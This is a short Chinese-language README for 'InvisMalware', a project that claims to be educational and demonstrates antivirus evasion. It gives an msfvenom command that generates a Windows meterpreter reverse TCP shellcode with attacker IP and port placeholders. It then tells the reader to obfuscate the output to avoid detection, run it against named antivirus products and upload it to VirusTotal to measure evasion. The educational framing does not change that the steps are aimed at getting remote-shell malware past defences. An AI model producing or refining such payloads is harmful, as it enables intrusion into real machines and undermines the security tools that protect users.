InvisMalware
1.0.0
Invismalware是一個旨在展示繞過防病毒檢測的先進惡意軟件逃避技術的項目。該研究驅動的惡意軟件實驗的重點是利用混淆方法,例如代碼修改和反對盒策略,以逃避靜態和動態的惡意軟件檢測。
該項目僅用於教育目的,旨在通過從惡意演員使用的逃避技術中學習來提供對現代惡意軟件防禦策略的見解。
首先,請克隆存儲庫並安裝必要的依賴項。
git clone https://github.com/mawg0ud/InvisMalware.git
cd InvisMalwarepip install -r requirements.txt使用MSFVENOM生成反向TCP ShellCode:
msfvenom -p windows/meterpreter/reverse_tcp LHOST= < your_ip > LPORT= < your_port > -f c > evilexp.c編輯evilexp.c文件以混淆代碼並避免檢測。
將惡意軟件部署在安全,孤立的虛擬機中,以測試其行為並測量檢測率。
將您的惡意軟件上傳到Virustotal,以評估其在多個防病毒引擎中的逃避率。
該項目遵循四階段的方法來實現惡意軟件:
在虛擬機上運行配備防病毒軟件的惡意軟件,例如Kaspersky , Windows Defender或BitDefender 。
將修改後的惡意軟件上傳到Virustotal ,並檢查多少防病毒引擎成功檢測到它。
我們歡迎捐款改善項目。如果您想貢獻:
該項目已根據MIT許可獲得許可。有關詳細信息,請參見許可證文件。